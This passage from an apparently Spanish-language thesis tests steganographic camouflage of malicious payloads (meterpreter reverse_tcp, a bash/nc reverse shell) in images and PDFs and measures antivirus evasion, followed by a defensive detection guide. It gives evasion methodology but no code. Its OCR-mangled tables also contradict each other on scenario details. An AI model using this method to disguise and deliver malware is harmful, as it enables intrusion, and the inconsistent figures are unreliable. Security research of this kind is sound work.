tienen enfoques distintos. La esteganografia se basa en ocultar la existencia de la informacioén
dentro de un medio portador (como imégenes, videos o archivos de audio) de manera que un
observador no pueda detectar que hay datos escondidos. En cambio, la criptografia

transforma los datos en un formato ilegible mediante algoritmos matematicos [24].

CRIPTOGRAFIA

Mediante la criptografia, se puede proteger la informacion convirtiendo la misma en un
formato cifrado que evita su interpretacion por usuarios no autorizados. Esta disciplina
cientifica aspira a garantizar que los datos permanezcan confidenciales, auténticos e integros,
evitando que su remitente los negué, resguardandolos de accesos no autorizados o
modificaciones perjudiciales. Se basa en algoritmos matematicos que aplican procesos como
cifrado, descifrado y funciones hash, utilizados en comunicaciones seguras, firmas digitales
y almacenamiento de datos sensibles. Entre sus métodos més comunes se encuentran la
criptografia simétrica, asimétrica y criptografia de clave publica, esenciales en seguridad

informatica y proteccion de la privacidad [25].

2.3.5 CRIPTOGRAFiIA EN EL OCULTAMIENTO DE INFORMACION

La criptografia en el ocultamiento de informacion es una técnica que transforma los datos en
un formato ilegible mediante algoritmos matematicos, asegurando solo los usuarios
autorizados tienen acceso a la pertinente informacién. A diferencia de la esteganografia, que
esconde la existencia del mensaje, la criptografia cifra los datos para hacerlos inentendibles
sin la clave adecuada. Su proposito es proteger la confidencialidad, integridad y autenticidad

de la informacion, evitando accesos no autorizados. Se utiliza en comunicaciones seguras,
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almacenamiento de datos y proteccion contra ciberataques, combinandose a menudo con

esteganografia para aumentar la seguridad y discrecion de los mensajes ocultos [26].

2.3.6 ALGORITMOS DE ESTENOGRAFIA

Los algoritmos de estenografia son conjuntos de procedimientos y técnicas utilizadas para
ocultar informacién dentro de otro tipo de datos, como imégenes, archivos de audio o texto,
de manera que la presencia de la informacion oculta sea lo mas imperceptible posible para
un observador no autorizado. Estos algoritmos manipulan los datos de manera que la
informacion secreta se incrusta de forma que parezca parte natural de los datos portadores,
manteniendo la integridad y la apariencia original del archivo. Ejemplos comunes de
algoritmos de estenografia incluyen el método de sustitucion de bits menos significativos
(LSB) y técnicas mas avanzadas como la modificacion de frecuencias de audio o la

manipulacion de pixeles en imagenes [27].

2.3.7 PAYLOADS

En el ambito de la seguridad informatica, un payload se refiere al componente de un ataque
informatico que realiza la accion maliciosa deseada una vez que el sistema ha sido
comprometido. Este componente puede ser cualquier tipo de codigo ejecutable, ya sea un
script, un archivo binario o una secuencia de comandos, disefiado para llevar a cabo acciones
dafiinas en el sistema comprometido. Estas acciones pueden incluir desde la ejecucion de
comandos para robar informacion crucial y provocar dafios a sistemas, hasta la instalacion
encubierta de software malicioso, como virus, troyanos o ransomware. Los payloads son una
parte fundamental de los ataques informaticos y pueden ser disefiados para explotar una

amplia variedad de vulnerabilidades en el sistema objetivo [28].

2.3.8 VECTORES DE ATAQUES

Los vectores de ataque son los métodos o puntos de entrada utilizados por un atacante para
comprometer la seguridad de un sistema o red. Estos vectores representan las diferentes
formas en que un atacante puede intentar explotar las vulnerabilidades presentes en el sistema
objetivo para llevar a cabo un ataque exitoso. Los vectores de ataque pueden variar desde

vulnerabilidades en el software y sistemas operativos, hasta técnicas de ingenieria social y
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phishing, pasando por ataques de fuerza bruta o la explotacion de debilidades en la
configuracion de redes y sistemas. Cada vector de ataque representa una posible via de acceso
para un atacante y puede requerir diferentes enfoques y contramedidas de seguridad para

mitigar el riesgo asociado [29].
2.4 HERRAMIENTAS

StegExpose: StegExpose es una herramienta disefiada para la deteccion de esteganografia en
iméagenes mediante andlisis estadistico. Se especializa en descubrir datos ocultos en archivos
PNG y JPEG, identificando manipulaciones basadas en técnicas como LSB (Least
Significant Bit). Su algoritmo evalia multiples imagenes de forma automatizada para
detectar posibles alteraciones sospechosas. Es utilizada en andlisis forense digital y en
investigaciones de ciberseguridad para detectar archivos con informacion oculta. Es de
codigo abierto y estd desarrollada en Java. [30]

StegDetect: StegDetect es una herramienta que analiza imagenes JPEG en busca de rastros
de esteganografia mediante técnicas como JSteg, OutGuess y F5. Funciona de manera
automatica y es util en el analisis forense digital para identificar si una imagen ha sido
alterada para ocultar informacion. Es capaz de detectar la presencia de datos esteganograficos
con un alto nivel de precision. Su uso es comun en la investigacion de amenazas cibernéticas
y en la deteccion de canales encubiertos en imagenes. Aunque el proyecto ya no se actualiza,
sigue siendo ttil para analisis basicos [31].

Wireshark: Wireshark es un analizador de trafico de red de codigo abierto que permite
capturar y examinar paquetes en tiempo real. Es ampliamente utilizado en ciberseguridad,
andlisis forense y administracion de redes para detectar ataques, identificar trafico
sospechoso y resolver problemas de conectividad. Soporta cientos de protocolos de red y
ofrece herramientas avanzadas para filtrar, analizar y visualizar datos. Puede usarse para
identificar canales de comunicacion esteganograficos, como datos ocultos en paquetes DNS,
HTTP o ICMP. Su interfaz grafica facilita la inspeccion y el analisis de las comunicaciones
[32].

IDA Pro.: IDA Pro es un desensamblador y depurador avanzado utilizado en ingenieria
inversa y andlisis de malware. Permite descompilar archivos ejecutables para entender su

funcionamiento sin necesidad del cédigo fuente. Es ampliamente usado por expertos en
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ciberseguridad para analizar software sospechoso, depurar exploits y encontrar
vulnerabilidades. Su capacidad para trabajar con arquitecturas x86, x64, ARM y mas lo
convierte en una de las herramientas mas poderosas del sector. Es de pago, aunque existe una

version gratuita con funcionalidades limitadas [33].

2.5 MARCO LEGAL

2.4.1. Ley Organica De Proteccion De Datos Personales
Registro Oficial Suplemento 459 de 26-may.-2021
CAPITULO CUATRO: CATEGORIAS ESPECIALES DE DATOS

Art. 25.-Categorias especiales de datos personales. -Se consideraran categorias especiales de
datos personales, los siguientes [34]:

a) Datos sensibles;

b) Datos de nifias, nifios y adolescentes;

c¢) Datos de salud; y,

d) Datos de personas con discapacidad y de sus sustitutos, relativos a la discapacidad.

Art. 26.-Tratamiento de datos sensibles. -Queda prohibido el tratamiento de datos personales
sensibles salvo que concurra alguna de las siguientes circunstancias [35]:

a) El titular haya dado su consentimiento explicito para el tratamiento de sus datos personales,
especificandose claramente sus fines.

b) El tratamiento es necesario para el cumplimiento de obligaciones y el ejercicio de
derechos especificos del responsable del tratamiento o del titular en el &mbito del Derecho
laboral y de la seguridad y proteccion social.

c) El tratamiento es necesario para proteger intereses vitales del titular o de otra persona
natural, en el supuesto de que el titular no esté capacitado, fisica o juridicamente, para dar su
consentimiento.

d) El tratamiento se refiere a datos personales que el titular ha hecho manifiestamente
publicos.

e) El tratamiento se lo realiza por orden de autoridad judicial.

f) El tratamiento es necesario con fines de archivo en interés publico, fines de investigacion
cientifica o historica o fines estadisticos, que debe ser proporcional al objetivo perseguido,
respetar en lo esencial el derecho a la proteccion de datos y establecer medidas adecuadas y
especificas para proteger los intereses y derechos fundamentales del titular.
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g) Cuando el tratamiento de los datos de salud se sujete a las disposiciones contenidas en la
presente ley.

CAPITULO SEIS: SEGURIDAD DE DATOS PERSONALES

Art. 37.-Seguridad de datos personales. -El responsable o encargado del tratamiento de datos
personales seglin sea el caso, debera sujetarse al principio de seguridad de datos personales,
para lo cual debera tomar en cuenta las categorias y volumen de datos personales, el estado
de la técnica, mejores practicas de seguridad integral y los costos de aplicacion de acuerdo
con la naturaleza, alcance, contexto y los fines del tratamiento, asi como identificar la
probabilidad de riesgos [36].

El responsable o encargado del tratamiento de datos personales, debera implementar un
proceso de verificacion, evaluacion y valoracion continua y permanente de la eficiencia,
eficacia y efectividad de las medidas de caracter técnico, organizativo y de cualquier otra
indole, implementadas con el objeto de garantizar y mejorar la seguridad del tratamiento de
datos personales [36].

Entre otras medidas, se podrén incluir las siguientes;
1) Medidas de anonimizacion, seudonomizacion o cifrado de datos personales;

2) Medidas dirigidas a mantener la confidencialidad, integridad y disponibilidad
permanentes de los sistemas y servicios del tratamiento de datos personales y el acceso a los
datos personales, de forma rapida en caso de incidentes.

3) Medidas dirigidas a mejorar la residencia técnica, fisica, administrativa, y juridica.

4) Los responsables y encargados del tratamiento de datos personales podran acogerse a
estandares internacionales para una adecuada gestion de riesgos enfocada a la proteccion de
derechos y libertades, asi como para la implementacion y manejo de sistemas de seguridad
de la informacion o a cédigos de conducta reconocidos y autorizados por la Autoridad de
Proteccion de Datos Personales [36].
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CAPITULO 111

3. PROPUESTA

3.1

3.1.1

DESARROLLO

FASE #1 - INTERACCION

El presente proyecto cuenta con la preparacion de un entorno virtual seguro y controlado que

esta denominado “prueba seguridad”, que cuenta con una distribucién de Windows 10 pro

optimizada para realizar las actividades de pruebas esteganografica de payloads malicioso.

Esta configuracion permite establecer los pardmetros esenciales para doblegar la seguridad y

de misma forma como “maquina victima”, con la finalidad de experimentar el arte de los

payloads maliciosos, la esteganografia y la ciencia de los disefios de ataques informaticos

que los ciberatacantes proporcionan a reformador en base a la innovacion tecnolédgica. (Ver

anexo 1: Preparacion del entorno Windows).

Instalacion de herramientas especializadas

>

Veil-Evasion: Es conocida como una herramienta para generar payloads que evaden

los antivirus, se usa comunmente para las pruebas de penetracion para ocultar

malware en ejecutables aparentemente inofensivos (Instalacion Veil-Evasion).
StegoHide: La siguiente herramienta de esteganografia permite ocultar archivos
dentro de imagenes (JPEG, BMP) o archivos de audio (WAV, AU) sin perder la

calidad del archivo original (Instalaciéon StegoHide).

Powerglot: Es conocida como una herramienta de esteganografia avanzada que
permite ocultar scripts maliciosos dentro de documentos ofimaticos como pdf, doc,
Excel. El archivo generado sigue siendo un ejecutable por el sistema operativo

(Instalacion PowerGlot).

Stegosuite: Esta herramienta cuenta con una interfaz con la finalidad de ocultar
mensajes dentro de imagenes (principalmente JPG Y PNG). Es practico e idel para

fines didacticos o simples pruebas de concepto. (Instalacion StegoSuite)

Outguess: Herramienta especializada en esteganografia que permite insertar
informacion oculta en JPEG. Su desarrollo es para resistir andlisis estadisticos que

podrian delatar la existencia de un mensaje oculto (Instalacion Outguess).
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3.1.2 FASE #2: INVESTIGACION
En la presente fase se desarrolla la investigacion de las diversas técnicas de esteganografias tanto tradicionales como avanzadas con la

finalidad de conocer su arte, funcionalidad, impacto, tipo de archivos soportados, diferencias y efectividad de inserciéon en payloads

maliciosos. A continuacion, se presenta en detalle cada una de las técnicas en cuestion del estudio.

CUADRO DESCRIPTIVO DE TECNICAS DE ESTEGANOGRAFIA

TECNICA DE TIPO FUNCION TIPO DE IMPACTO EN LA DIFERENCIAS INSERCION DE
ESTEGANOGRAFiIA PRINCIPAL ARCHIVO INTEGRIDAD CLAVE PAYLOADS MALICIOSOS
SOPORTADO

LSB (Least Significant | Tradicional | Ocultar datos en | Imagenes (.bmp, | Bajo: leve distorsion | Simple, rapida, Alta eficacia en payloads

Bit) los bits menos .png), audio imperceptible limitada a ciertos | pequefios; poco detectable si
significativos (-wav) formatos bien implementado.

Esteganografia en Tradicional | Inserta datos en | Imégenes, Nulo: no afecta Muy sencilla de Baja capacidad, pero ttil para

metadatos campos no documentos, contenido visible aplicar y extraer insertar comandos o enlaces
visuales del PDFs maliciosos.
archivo

DCT (Transformada Tradicional | Oculta JPEG Bajo a medio: Robusta ante Media capacidad para payloads;

Coseno Discreta) informacion en depende del nivel de | compresion mas dificil de detectar que LSB.
coeficientes de compresion moderada
compresion

Esteganografia por Tradicional | Duplica regiones | Imagenes Bajo, pero detectable | Detectable por Puede insertar scripts pequefios,

duplicacion y oculta por analisis analisis de aunque facil de detectar.
informacion en estadistico patrones
redundancias

Esteganografia basada | Avanzada | Oculta datosen | Trafico de red Nulo: se esconde en | Dificil de detectar, | Ideal para transmision de

en red paquetes de red la transmision alto nivel técnico | payloads sin archivo
(cabeceras, requerido intermedio; muy sigilosa.
flags)

SteganoGAN Avanzada | Usaredes Imagenes (.png, | Muy bajo: altera Dificil de detectar, | Altamente efectiva: puede
neuronales para | .jpg) imperceptiblemente | genera imagen ocultar payloads grandes sin
ocultar datos en desde cero alterar la apariencia del archivo.
imagenes

25




DeepStego Avanzada | Usa deep Imagenes (.png, | Muy bajo: Usa redes Excelente para ocultar payloads
learning para .jpg, .bmp) imperceptible convolucionales, grandes sin deteccion; ideal
codificar info en incluso a muy robusto ante | para ataques avanzados y
imagenes herramientas analisis forense persistentes.
Esteganografia por Avanzada | Usa espacio no Documentos, Bajo a medio: Puede ser evidente | Util para scripts encubiertos o
espacio negativo visible (como imagenes depende del método | si mal ejecutables renombrados;
blanco o implementada depende del visor del archivo.
transparente)
Esteganografia por Tradicional | Inserta info Texto (Unicode, | Nulo a bajo Puede pasar como | Puede insertar instrucciones o
codificacién codificada en HTML, XML) formato normal codigo que se activa al procesar
patrones (ej. UTF-8 vs el archivo; depende del
predefinidos UTF-16) intérprete.
Esteganografia Avanzada | Combina .doc, .exe, .rtf, Nulo: conserva Estructura valida Muy alta eficacia: permite
Polyglot / estructuras .com funcionalidad de para ml'llti’ples inserta}r un .exe ma!icios.o enun
Powerglot validas de ambos visores (ej. Office | .doc sin dafar funcionalidad del
multiples y Windows); archivo.
formatos en un aprovecha OLE y
solo archivo encabezados
dobles

Tabla 1: Cuadro descriptivo de técnicas de Esteganografia.

3.1.3 FASE #3: INTERVENCION
Luego de desarrollar el estudio exhaustivo sobre las técnicas de esteganografia, se procede a desarrollar tres payloads malicioso

personalizados con caracteristicas especificas para simular los distintos tipos de ataques y amenazas informaticas. Adicionalmente, se
procede con la integracion de estos payloads en las técnicas seleccionadas para cada prueba, y la seleccion del archivo utilizado como

sefiuelo o camuflaje con el fin de ocultar el malware, para evitar ser identificados por sistemas de deteccion o antivirus.
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CUADRO DESCRIPTIVO DEL PROCESO DE CREACION DE PAYLOADS MALICIOSO DE ESTUDIO

# | HERRAMIENTA ARCHIVO EXTENSION PAYLOAD PROTOCOLO | PLATAFORMA ANEXO
GENERADO OBJETIVO

2 | Veil Prueba veil.exe | .exe Windows/meterpreter/reverse tcp | TCP Windows Ver detalle en
Veil payload

1 | Msfvenom Payload.exe .exe Windows/meterpreter/reverse tcp | TCP Windows Ver detalle en
Msfevenom_payload

3 | Manual (.sh) Prueba.sh .sh Reverse Shell con bash y nc TCP Linux/Unix Ver detalle en
Bash_script

Tabla 2: Cuadro descriptivo del proceso de creacion de Payloads Malicioso de estudio

En el siguiente cuadro se explica como se utilizan las técnicas de camuflaje en archivos comunes (imagenes o PDFs) para ocultar y

ejecutar payloads maliciosos. Las herramientas como WinRAR (autoextraibles) y PowerGlot permiten combinar ejecutables con archivos

visuales, lo que facilita el engafio al usuario. Se evaliia la necesidad de interaccidon del usuario (como hacer doble clic) y se detallan

ventajas y desventajas, como la facilidad de ejecucion frente al riesgo de ser detectado.

CUADRO DESCRIPTIVO: CAMUFLAJE DE PAYLOADS MALICIOSOS MEDIANTE ARCHIVOS E IMAGENES

Método / Tipo de Payload utilizado Técnica de camuflaje | Requiere Ventajas Desventajas Detalle
herramienta archivo interaccion
usado del usuario
Winrar Imagen Prueba veil.exe | Secreaun .exe « Si Simple de crear, | Detectable por Ver detalle en
(Autoextraible | .jpg + (Veil) autoextraible que (ejecucion mezcla imagen y | antivirus; Autoextraible JPG
con imagen .exe simula ser una manual del | ejecucion archivo .exe no
JPG) autoextraible imagen, muestra la .exe) automatica en es realmente una
imagen y ejecuta el un solo clic imagen
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payload en segundo

plano
Powerglot con | Imagen Prueba.sh Fusion de un . png /7 Si Imagen Requiere Ver detalle en
imagen PNG .png con un script (ejecucion completamente powershell o Poweglot PNG
fusionada malicioso usando del script) | funcional y Bash; puede
con script powerglot;el apariencia generar alertas
archivo sigue siendo legitima en sistemas
visualizable como protegidos
imagen
Winrar PDF + .exe | Payload.exe El . exe autoextraible | 7/ Si Puede engafiar Poco comun Ver detalle en
(Autoextraible | autoextraible contiene un PDF (ejecucion | al usuario al ejecutar .exe Autoextraible PDF
con PDF sefiuelo y el payload; | del .exe) abrir un “PDF” | como PDF;
sefiuelo) al ejecutarse, muestra legitimo potencialmente
el PDF y lanza el sospechoso para
malware el usuario

Tabla 3: Cuadro Descriptivo: Camuflaje de Payloads Maliciosos mediante Archivos e Imagenes.

En este cuadro se explican técnicas avanzadas de esteganografia digital, utilizadas para ocultar payloads dentro de archivos
aparentemente inofensivos como imagenes o documentos. Se destacan tres métodos: LSB, DCT y OLE estructural, con herramientas
como StegoSuite, OutGuess y PowerGlot, indicando qué tipo de archivos soportan, el método técnico de insercion, y qué tipo de payload

pueden contener (scripts o ejecutables).

CUADRO DESCRIPTIVO: TECNICAS DE ESTEGANOGRAFIA PARA CAMUFLAJE DE PAYLOADS

Técnica de Herramienta Tipo de Payload oculto Método de insercion / descripcion | Tipo de payload Detalle
esteganografia utilizada archivo técnica soportado
portador
LSB (Least StegoSuite Imagen .png | prueba.sh Inserta bits del payload en los bits Scripts, texto Ver detalle en
Significant Bit) menos significativos de los pixeles | plano Técnica LSB
de la imagen
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DCT (Discrete OutGuess Imagen . jpg | payload.exe Inserta datos en los coeficientes Ejecutables Ver detalle en

Cosine Transform) DCT durante compresion de la pequefios Técnica DCT
imagen

Estructural / OLE PowerGlot Archivo payload.exe Inserta el payload en la estructura Ejecutables Ver detalle en

Avanzada .pdf OLE del archivo PDF mediante completos / Técnica OLE
objetos embebidos binaries

Tabla 4: Cuadro Descriptivo: Técnicas de esteganografia para camuflaje de Payloads.

En el siguiente cuadro compara la efectividad de la esteganografia en términos de deteccion de malware. Se contrastan payloads en su

forma original frente a los mismos archivos camuflados mediante técnicas esteganograficas. Los resultados de analisis con VirusTotal y

Hybrid Analysis muestran que los archivos esteganografiados tienen tasas de deteccion considerablemente mas bajas, lo que indica un

mayor nivel de evasion y sigilo.

CUADRO COMPARATIVO: PAYLOADS ORIGINALES VS PAYLOADS CON CAMUFLAJE CON ESTEGANOGRAFICO

Payload Original Tipo Deteccion | Detecciéo | Clasificacié | Payload Camuflado Técnica Deteccion | Detecciéo | Clasificacion
VirusTot n n Esteganografi | VirusTot n Esteganografi
al (%) Hybrid ca al (%) Hybrid ca
Analysis Analysis
(%) (%)
prueba veil.e | Ejecutabl | 28% 67% Troyano (vacio) (No probado (N/A) (N/A) (N/A)
xe ® aun)
prueba.sh Script 0% 0% Script carro_embed.pn | LSB 0% 0% Imagen PNG,
Bash inofensivo g sin deteccion
payload.exe Ejecutabl | 48% 67% Troyano prueba final.j | DCT 0% 0% Inofensivo,
e Pg considerado
imagen

29



payload.exe Ejecutabl | 48% 67% Troyano final.pdf OLE 11% 0% Medio
e (Estructural) sospechoso /
Troyano
parcial

En el presente cuadro se definen distintos escenarios practicos de prueba donde se evaltia el comportamiento de los payloads camuflados
en entornos reales (Windows y Linux). Se especifica el objetivo del ataque (como evasion de antivirus o escalacion de privilegios), el

tipo de archivo malicioso utilizado, la accion esperada (como la creacion de un archivo como prueba de intrusion), y el tiempo estimado

Tabla 5: Cuadro Comparativo: Payloads Originales vs Payloads con Camuflaje con Esteganografia.

para ejecutar la accién maliciosa. Estos escenarios simulan condiciones reales de interaccion con el sistema victima.

CUADRO DESCRIPTIVO DE ESCENARIOS DE PRUEBA DE PAYLOADS CAMUFLADOS

Escenario Sistema Tipo de Objetivo Principal Accion Esperada Tiempo DETALLE
Operativo Archivo Estimado
Malicioso
Escenario | Windows Imagen JPG Evasion del antivirus y Obtener informacion del 25 minutos | Ver detalle en
#1 10 camuflada recoleccion de equipo y captura de Escenario 1 Informacion data
informacion del sistema pantalla
Escenario | Ubuntu Imagen PNG Elevar privilegios en Crear un .bash como 30 minutos | Ver detalle en
#2 Linux camuflada con | entorno Linux y validar | prueba de intrusion con Escenario_2_Privilegios
OLE acceso privilegios elevados
Escenario | Windows 10 | Texto oculto en | Ocultar contrasefias Crear un texto con 30 minutos | Ver detalle en
#3 Imagen robadas acumuflaje informacion relevante para Escenario_3_Contrasefias
evadir sospecha

Tabla 6: Cuadro Descriptivo de escenarios de prueba de Payloads camuflados.
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3.1.4 FASE #4: REPORTE

En esta fase se desarrolla el reporte de los escenarios de prueba realizados anteriormente. Se
detallan los procedimientos aplicados, los resultados alcanzados y se proponen
recomendaciones para fortalecer la defensa ante técnicas avanzadas de ocultamiento. El
enfoque se centr6 en analizar la efectividad de la esteganografia para evadir mecanismos de

seguridad mediante distintas técnicas de insercion de payloads.

CUADRO DESCRIPTIVO DE REPORTES DE ANALISIS DE

ESCENARIOS - RESULTADOS

INDICADOR ESCENARIO 1 ESCENARIO 2 ESCENARIO 3
TASA DE Sin esteganografia: 48% Sin esteganografia: 28% | Sin esteganografia: 0%
DETECCION Con esteganografia: 0% Con esteganografia: 0% | Con esteganografia: 0%
VIRUSTOTAL
TASA DE Sin esteganografia: 67% Sin esteganografia: 67% | Sin esteganografia: 0%
DETECCION Con esteganografia: 0% Con esteganografia: 0% | Con esteganografia: 0%
HYBRID
ANALYSIS
DETECCION Sin esteganografia: 70% Sin esteganografia: Sin esteganografia: 0%
DINAMICA Con esteganografia: 10% 80%Con esteganografia: | Con esteganografia: 0%
(HYBRID) 10%

SISTEMA Windows Windows Linux
INVOLUCRADO
TECNICA Esteganografia LSB en Esteganografia DCT en | Esteganografia OLE en
APLICADA imagen imagen documento PDF
TIEMPO DE 30 minutos 30 minutos 40 minutos
EJECUCION
NIVEL DE Media Media Media
COMPLEJIDAD
RESULTADO Evasion del antivirus y Elevacion de privilegios | Ocultamiento de
TECNICO recoleccion de informacion en Linux:Creacion de contrasefias
OBTENIDO del sistema:Captura de .bash como prueba de robadas: Texto
pantalla y datos del equipo intrusion camuflado para evadir
sospechas
DETALLE Ver Reportel: Evaluacion Ver Reporte2: Ver Reporte3:
LSB Evaluacion DCT. Evaluacion OLE

Tabla 7: Cuadro Comparativo de Analisis de escenarios

En el Escenario 1, se aplico la técnica de esteganografia LSB para insertar un payload en
una imagen JPG con el objetivo de evadir herramientas antivirus y recopilar informacion del
sistema victima. Los resultados mostraron una evasion total en los andlisis estaticos y una
deteccion minima en el andlisis dindmico (10%), permitiendo ejecutar con éxito la

recoleccion de informacion y captura de pantalla del equipo comprometido.
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El Escenario 2, basado en la técnica DCT, también logro ocultar eficazmente el payload
dentro de una imagen sin ser detectado en andlisis estatico y con una minima deteccion
dindmica. El objetivo técnico fue elevar privilegios dentro de un entorno Linux, lo cual se
comprobo mediante la creacion de un archivo .bash como sefial de intrusion con permisos

elevados, demostrando que el payload pudo ejecutarse sin alertas criticas del sistema.

Por ultimo, el Escenario 3 implemento la técnica OLE para ocultar un payload dentro de un
documento PDF. Este fue el tnico caso donde no se detecté ninguna amenaza, ni siquiera
sin esteganografia aplicada, lo que evidencia su capacidad de evasion completa. El objetivo
fue ocultar contraseifias robadas dentro de un texto camuflado, logrando un nivel de sigilo

que permitiria al atacante mantener la informacion infiltrada sin levantar sospechas.

Estos resultados ponen en evidencia la peligrosidad de las técnicas de esteganografia en
ciberseguridad ofensiva, y la urgencia de adoptar contramedidas avanzadas para deteccion y

analisis forense.

3.2 PROPUESTA GUIA

3.2.1 GUIA DE BUENAS PRACTICAS CON ESTRATEGIAS PARA DETECTAR
Y MITIGAR ATAQUES ESTEGANOGRAFICOS EN ENTORNOS
EMPRESARIALES Y DOMESTICOS

INTRODUCCION

La esteganografia es una técnica de ocultamiento que permite insertar informacion maliciosa
dentro de archivos aparentemente inofensivos, como imagenes, documentos o archivos
multimedia. A diferencia del malware tradicional, el contenido esteganografico suele pasar
desapercibido por los sistemas de deteccion automatizados, lo que representa una amenaza
silenciosa pero efectiva. Esta técnica ha ganado popularidad entre los ciberatacantes debido
a su capacidad para evadir los mecanismos tradicionales de seguridad. Por tanto, su analisis
y comprension son esenciales para el fortalecimiento de las defensas informéticas tanto en el

ambito empresarial como en el doméstico.
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OBJETIVO

Esta guia tiene como objetivo proporcionar un marco de referencia integral para identificar,
analizar y mitigar los ataques esteganograficos. Se busca establecer un conjunto de buenas
practicas y estrategias eficaces para prevenir la utilizacion de técnicas de ocultamiento digital
como vehiculos de ataque. A través del analisis comparativo de métodos como LSB, DCT y
OLE, se evalua su efectividad en la evasion de mecanismos de deteccion actuales, brindando

herramientas précticas y conocimiento técnico aplicable en contextos reales.

ALCANCE

Este documento estd dirigido a analistas de seguridad, responsables de tecnologia de la
informacion, equipos de respuesta ante incidentes y usuarios avanzados, tanto en el entorno
corporativo como en el doméstico. La guia incluye lineamientos técnicos y operativos
aplicables a plataformas Windows, Linux y otros sistemas de uso comiin. Ademas, se centra
en el manejo seguro de formatos de archivo ampliamente utilizados como PDF, JPG y PNG,
donde se ha demostrado que los atacantes pueden insertar codigo malicioso sin levantar

sospechas inmediatas.

EVALUACION DEL IMPACTO DE CADA TECNICA EN LA EVASION DE
DETECCION

El andlisis realizado demuestra que las técnicas de esteganografia pueden reducir
significativamente la efectividad de los sistemas antivirus y herramientas de analisis de
comportamiento. Se evaluaron tres técnicas principales: LSB, DCT y OLE, mediante el
camuflaje de payloads maliciosos en archivos comunes. Los resultados se resumen a

continuacion:

Payload Tipo Detec | Detec | Clasific | Payload Técnica Detec | Detec | Clasificac
Original cioén cion acion Camuflado | Estegano | cion cion ion
VT HA Original grafica VT HA Estegano
(%) (%) (%) (%) grafica
prueba v | Ejecut | 28% 67% Troyan | (No (No N/A N/A N/A
eil.exe able 0 probado) probado)
prueba.sh | Script | 0% 0% Inofensi | carro_emb | LSB 0% 0% Imagen
Bash Vo ed.png PNG, sin
deteccion
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Xe

payload.e | Ejecut | 48% 67% Troyan | prueba fin | DCT 0% 0% Inofensiv

able o al.jpg o,
considera
do
imagen

Xe

payload.e | Ejecut | 48% 67% Troyan | final.pdf OLE 11% 0% Medio

able 0 (Estructur sospechos
al) o /
Troyano
parcial

Analisis del impacto:

LSB logré una evasion total tanto en VirusTotal como en Hybrid Analysis,
manteniéndose completamente indetectable al ocultar un script bash inofensivo
dentro de una imagen PNG. Esta técnica resulta extremadamente efectiva cuando se
utiliza para ocultar informacién dentro de archivos que suelen considerarse seguros o
de bajo riesgo.

DCT, utilizado para camuflar un ejecutable en una imagen JPG, también evadio
exitosamente ambas plataformas de andlisis, mostrando cero detecciones y siendo
tratado como un archivo legitimo. Esta capacidad de evasion lo convierte en un vector
potencialmente critico para la distribuciéon de malware.

OLE, aplicado a un PDF, logré reducir la tasa de deteccion de VirusTotal del 48% al
11%, y fue completamente ignorado por Hybrid Analysis, aunque el archivo gener6
cierta sospecha estructural. Aunque menos invisible que las técnicas anteriores, su
integracion con documentos ofimdticos lo hace muy atractivo para campanas de

phishing y spear phishing.

Estos resultados confirman que, al utilizar técnicas esteganograficas, es posible reducir

drésticamente la probabilidad de deteccion por herramientas antivirus convencionales. Esto

representa una amenaza critica para los sistemas que dependen exclusivamente de soluciones

tradicionales para su proteccion.

DISCUSION: FORTALEZAS Y DEBILIDADES DE CADA METODO

LSB (Least Significant Bit): Oculta la informacién en los bits menos significativos
de una imagen, permitiendo disimular datos dentro del “ruido” visual del archivo. Su

principal fortaleza es la simplicidad de implementacion y la alta efectividad para
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evadir los antivirus y andlisis estaticos. Sin embargo, su debilidad radica en su
fragilidad ante modificaciones, compresiones o manipulaciones de la imagen, lo que
puede destruir el mensaje oculto.

e DCT (Discrete Cosine Transform): Se basa en la manipulacion de los coeficientes
de transformacion coseno en imagenes comprimidas como JPG. Su ventaja radica en
la robustez y capacidad para ocultar grandes volumenes de informacion sin afectar
notablemente la calidad visual del archivo. Su principal debilidad es la complejidad
técnica y la posibilidad de deteccion si se aplican andlisis espectrales o herramientas
de escaneo avanzadas.

e OLE (Object Linking and Embedding): Inserta objetos activos, como scripts
maliciosos, dentro de documentos como PDFs o archivos de Word. Es muy util en
campafas de ingenieria social y en entornos corporativos, donde el intercambio de
documentos es constante. No obstante, esta técnica es susceptible a analisis forenses
estructurales y puede levantar alertas si el archivo presenta comportamientos

andmalos durante su ejecucion.

ESTRATEGIAS PARA LA DETECCION DE ATAQUES ESTEGANOGRAFICOS

e Implementar herramientas especializadas como StegExpose, zsteg, binwalk o
StegSolve, que permiten identificar patrones sospechosos en archivos visuales y
documentos.

o Utilizar sandboxing para ejecutar archivos en entornos controlados y observar
comportamientos inesperados o actividades de red no autorizadas.

o Realizar andlisis forense digital regularmente para detectar incongruencias en los
archivos almacenados, como tamafios inusuales, firmas alteradas o bloques binarios
no estandar.

e Aplicar técnicas de comparacion hash y andlisis de integridad sobre archivos criticos
para identificar modificaciones encubiertas.

o Fomentar el uso de algoritmos heuristicos en los sistemas de deteccion, que permitan

identificar anomalias basadas en patrones inusuales en lugar de firmas estaticas.
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MITIGACION

e Restringir el acceso y la ejecucion de archivos desde fuentes desconocidas o no
verificadas, incluyendo medios extraibles y correos electronicos sospechosos.

o Configurar los sistemas para deshabilitar la ejecucion automatica de macros y scripts
embebidos, especialmente en documentos de Office o PDF.

e Aplicar politicas de listas blancas (whitelisting) para permitir solo la ejecucion de
software previamente aprobado por el departamento de TI.

o [Establecer segmentacion de red para limitar la propagacion lateral de cualquier ataque
que logre evadir la deteccion inicial.

e Monitorear el trafico de red en busca de conexiones salientes no autorizadas, que
pueden indicar una comunicacion encubierta con servidores de comando y control.

e Promover campafas de concienciacion y capacitacion continua para los usuarios
sobre los riesgos de los ataques esteganograficos, asi como técnicas basicas de

identificacion de archivos potencialmente manipulados.

RECOMENDACIONES

e Mantener actualizados los motores antivirus y complementar con soluciones EDR
(Endpoint Detection and Response) que puedan detectar comportamientos anomalos.

o Realizar auditorias regulares en los repositorios de archivos compartidos, buzones de
correo electronico y sistemas de almacenamiento masivo.

o [Establecer un protocolo claro de respuesta ante incidentes que contemple la
posibilidad de amenazas ocultas mediante esteganografia.

o Implementar controles de integridad y monitoreo en tiempo real sobre archivos
ejecutables y documentos criticos del sistema operativo.

e Incorporar herramientas de escaneo de esteganografia en los procesos de analisis de

amenazas persistentes avanzadas (APT).

CONCLUSIONES

Las técnicas de esteganografia representan una amenaza sofisticada que supera las
capacidades de deteccion de muchas soluciones antivirus convencionales. Como lo

evidencian las pruebas realizadas, métodos como LSB, DCT y OLE pueden ocultar
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exitosamente payloads sin ser detectados por herramientas ampliamente utilizadas como
